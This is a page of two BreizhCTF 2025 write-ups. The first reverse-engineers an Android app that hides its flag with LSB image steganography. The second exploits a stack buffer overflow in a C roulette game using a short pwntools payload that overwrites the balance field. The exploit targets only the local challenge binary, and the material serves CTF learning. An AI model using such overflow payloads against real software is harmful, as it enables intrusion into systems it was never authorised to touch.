Skip to content

BreizhCTF

Finisteg

WU Reverse BZHCTF 2025

First, I decompiled the APK using jadx.

It's a very easy challenge, so let’s jump straight into the com folder. There, we find exemple.finisteg.MainActivity.
Lucky us—the flag check happens right in the MainActivity!

kotlin
if (ex.equals(userFlag)) {
	Toast.makeText(MainActivity.this, "Flag Good!", 1).show();
} 
else {
	Toast.makeText(MainActivity.this, "Flag NOT Good...", 1).show();
}

So, we just need to figure out the value of the string ex.

Here's how it's assigned:

kotlin
String ex = MainActivity.this.decodeBase64(MainActivity.this.extractTextFromImage(bm));

Reverse Engineering the ex Value

Let's break this down: bm is assigned as:

kotlin
final Bitmap bm = BitmapFactory.decodeResource(getResources(),

So it's just an image resource: res/drawable/breizhctf_logo.png.

Analyse the extractTextFromImage()

The function extractTextFromImage() is what hides the actual content. Here it is:

kotlin
R.drawable.breizhctf_logo, o);
   public String extractTextFromImage(Bitmap bitmap) {
        int value;
        int i;
        int width = bitmap.getWidth();
        int height = bitmap.getHeight();
        StringBuilder binaryText = new StringBuilder();
        int[] channels = {0, 1, 2};
        for (int y = 0; y < height; y++) {
            for (int x = 0; x < width; x++) {
                int pixel = bitmap.getPixel(x, y);
                int channel = channels[binaryText.length() % 3];
                if (channel == 0) {
                    i = pixel >> 16;
                } else if (channel == 1) {
                    i = pixel >> 8;
                } else {
                    value = pixel & 255;
                    binaryText.append(value & 1);
                    if (binaryText.length() % 8 != 0 && binaryText.substring(binaryText.length() - 8).equals("00000000")) {
                        return binaryToString(binaryText.substring(0, binaryText.length() - 8));
                    }
                }
                value = i & 255;
                binaryText.append(value & 1);
                if (binaryText.length() % 8 != 0) {
                }
            }
        }
        return "No text founded...";
    }

Let's solve now

So now we need to:

  • Extract the image breizhctf_logo.png
  • Reimplement the logic in Python
  • Decode the extracted binary string as Base64
python
from PIL import Image
import base64
def extract_text_from_image(image_path):
    img = Image.open(image_path)
    pixels = img.load()
    width, height = img.size
    binary_text = ''
    channels = [0, 1, 2]
    for y in range(height):
        for x in range(width):
            pixel = pixels[x, y]
            channel_index = len(binary_text) % 3
            value = pixel[channels[channel_index]] & 1
            binary_text += str(value)
            if len(binary_text) % 8 == 0:
                if binary_text[-8:] == '00000000':
                    return binary_to_string(binary_text[:-8])
    return "No text found..."
def binary_to_string(binary_data):
    chars = [chr(int(binary_data[i:i+8], 2)) for i in range(0, len(binary_data), 8)]
    return ''.join(chars)
def decode_base64(encoded_text):
    try:
        decoded_bytes = base64.b64decode(encoded_text)
        return decoded_bytes.decode('utf-8')
    except Exception as e:
        return f"Decoding error: {e}"
if __name__ == "__main__":
    image_path = "/path/to/the/image/breizhctf_logo.png"
    encoded_extracted_text = extract_text_from_image(image_path)
    print(f"[DEBUG] Encoded: {encoded_extracted_text}")
    decoded_text = decode_base64(encoded_extracted_text)
    print(f"[DEBUG] Decoded: {decoded_text}")

This mirrors the logic from the APK :

  • extractTextFromImageextract_text_from_image
  • binaryToStringbinary_to_string
  • decodeBase64decode_base64

If you want to know how the flag is hide the code will find the LSB R/G/B pixels and it stop where we read 00000000.

Done!

Just run the script with the correct image path, and it prints the flag.

It might not be the most elegant way to solve it, but it’s definitely the simplest—we didn’t even have to dive deep into Android internals, just translated the code logic into Python.


Jackpwn

WU Pwn BZHCTF 2025

We’re given an ELF binary and its source code. After a quick glance, it turns out to be a simple roulette game implemented in C. The objective? Get your in-game balance to exactly 0x1337 coins to print the flag:

c
if (ctx.solde == 0x1337) {
    char *flag = getenv("FLAG");
    if (flag == NULL) {
        puts("fake_flag");
    } else {
        puts(flag);
    }
    return 0;
}

Looks like we’re in for some memory corruption fun! 🕹️

🔍 Source Code Analysis

Key things to notice:

  • The player starts with a balance (solde) of 50.
  • There’s a read_input() function that reads input into ctx.mise without bounds checking.
  • Each round, the player makes a bet (mise), which is stored in a local struct:
c
struct {
    char mise[32];
    int solde;
} ctx;

There’s a read_input() function that reads input into ctx.mise without bounds checking.

Boom. There's your vulnerability: a classic stack-based buffer overflow, overwriting the solde field right after mise.

🧪 Initial Exploitation

Let’s try overflowing the mise buffer to overwrite ctx.solde with a controlled value:

bash
$ ./jackpwn
Solde : 50
Votre mise : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABB
Solde : 16962

Nice! Inputting 32 A's + 2 B's gives us a new balance of 0x4242 (16962). So the solde field is directly overwritten by the next 4 bytes after the 32-char buffer.

🎯 Exploit Strategy

To trigger the flag, we need ctx.solde == 0x1337 right after a win, meaning we want to land at 0x1335 before a successful bet (we gain 2 coins per win).

Let’s overwrite the balance with 0x1335. The trick is that 0x13 isn't a printable character, so we'll use pwntools to send raw bytes.

🧠 Exploit Script

python
from pwn import *
# Craft payload to overflow into solde with value 0x1335
payload = b"A" * 32 + p16(0x1335)  # Little-endian
# Launch process
p = process('./jackpwn')  # Adjust path if needed
# Send the payload as the first "bet"
p.sendline(payload)
# Interact and hope for a lucky spin
p.interactive()

🏁 Example Run

bash
$ python3 solve.py
Solde : 4917
Votre mise : rouge
Gagné
BZH{xxxxxxxxxx}

🎉 Boom! One lucky spin and we’ve got the flag.